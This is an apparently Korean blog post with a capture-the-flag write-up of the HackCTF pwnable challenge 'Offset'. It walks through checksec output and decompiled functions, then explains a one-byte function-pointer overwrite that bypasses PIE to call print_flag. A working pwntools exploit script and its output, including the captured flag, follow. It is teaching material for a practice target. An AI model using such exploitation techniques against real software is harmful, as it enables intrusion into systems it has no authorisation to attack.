일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- vcruntime140.dll
- 시스템해킹
- Network Byte Order
- C언어 패킷캡쳐
- 포너블
- 개발 환경 준비
- 윈도우 커널
- 윈도우 커널 디버깅
- vcruntime.dll
- pcap packet capture
- 해킹
- apphelp.dll
- IAT Hooking
- Windows Kernel Debug
- HackCTF
- Windows Kernel
- 개발하기
- Msvcrt.dll
- ucrtbase.dll
- pwnable
- windows kernel debugging
- arudino
- 바이트 오더
- 네트워크 바이트 오더
- Windows
- Windows Kernel Driver
- packet capture
- hacking
- 윈도우 커널 드라이버
- pcap packet
- Today
- Total
미친해커
[HackCTF] Pwnable : Offset 본문
┌──(root💀DESKTOP-H0EJIE2)-[~/Hacking/Pwnable/HackCTF/offset]
└─# checksec offset
[*] '/root/HackCTF/offset/offset'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
보호기법은 스택 카나리를 제외한 모든 보호기법이 걸렸이다. 생각 외로 어려운 문제가 될수도 있다고 생각한다.
Funtions window를 확인해보니 main 함수 이외에도 사용자 정의 함수가 여럿보인다. 아무래도 print_flag 함수를 실행시키면 flag를 따낼 수 있을것으로 보인다.
int print_flag()
{
char i; // al
FILE *fp; // [esp+Ch] [ebp-Ch]
puts("This function is still under development.");
fp = fopen("flag.txt", "r");
for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
putchar(i);
return putchar(10);
}
이번엔 main 함수를 확인해 보자
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-27h]
int *v5; // [esp+20h] [ebp-8h]
v5 = &argc;
setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
puts("Which function would you like to call?");
gets(&s);
select_func(&s);
return 0;
}
main 함수에서 gets 함수를 호출하는데 여기서 BOF가 발생한다. 하지만 BOF가 발생해 return이 되기 전에 select_func라고 함수의 인자로 입력받은 문자열을 전달하는데 한번 select_func도 확인이 필요할 것 같다.
int __cdecl select_func(char *src)
{
char dest; // [esp+Eh] [ebp-2Ah]
int (*v3)(void); // [esp+2Ch] [ebp-Ch]
v3 = two;
strncpy(&dest, src, 0x1F);
if ( !strcmp(&dest, "one") )
v3 = one;
return v3();
}
select_func 함수에서는 인자로 받은 문자열을 dest에 복사하는데 여기서도 BOF가 발생한다.
단순하게 생각한다면 main 함수의 gets 함수에서 BOF를 발생시켜 ret 주소를 print_flag 함수의 주소로 덮으면 되는게 아닌가 라는 생각을 할 수도 있지만 그렇게 BOF를 시도하면 안된다.
main 함수와 select_func 함수의 스택 구조를 보면 위와 같은데 select_func 함수에서 s의 문자열을 31 바이트 만큼 dest 변수로 복사한다. 이 과정에서 BOF가 발생하게 되는데 이때 v3 함수 포인터의 맨 마지막 1 바이트가 덮어씌워진다. 그러면서 v3에 들어가 있는 함수가 실행될때 오류가 발생하면서 프로그램이 종료되게 된다. 즉 main 함수에서 BOF를 발생시켜 ret 주소를 print_flag의 주소로 덮어씌워도 select_func 함수에서 오류가 발생해 프로그램이 종료되기 때문에 print_flag 함수는 실행되지 않는다. Functions window를 다시 한번 확인해보자
기본적으로 v3에는 two 함수의 주소가 들어가는데 이 바이너리에는 PIE 보호기법이 적용되어 있다. 그러므로 two 함수의 주소는 매번 바뀌게 되지만 two 함수의 오프셋은 0x6AD, print_flag 함수의 오프셋은 0x6D8 이므로 strncpy에서 v3의 1 바이트를 BOF 할때 맨 마지막 바이트를 0xAD에서 0xD8 덮어씌워주면 print_flag 함수가 호출된다.
# file : offset.py
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3007)
payload = 'A' * 30 + '\xd8'
p.sendline(payload)
print(p.recvrepeat(1))
┌──(root💀kali)-[~/mnt/z/Hacking/Pwnable/HackCTF/8. offset]
└─# python offset.py
[+] Opening connection to ctf.j0n9hyun.xyz on port 3007: Done
Which function would you like to call?
This function is still under development.
HackCTF{76155655017129668567067265451379677609132507783606}
[*] Closed connection to ctf.j0n9hyun.xyz port 3007
'Hacking > HackCTF' 카테고리의 다른 글
[HackCTF] Pwnable : Simple_Overflow_ver_2 (0) | 2021.06.21 |
---|---|
[HackCTF] Pwnable : x64 Simple_size_BOF (Simple_size_bof) (0) | 2021.06.19 |
[HackCTF] Pwnable : x64 Buffer Overflow (64bof_basic) (0) | 2021.06.18 |
[HackCTF] Pwnable : 내 버퍼가 흘러넘친다!!! (prob1) (0) | 2021.06.17 |
[HackCTF] Pwnable : Basic_FSB (0) | 2021.06.17 |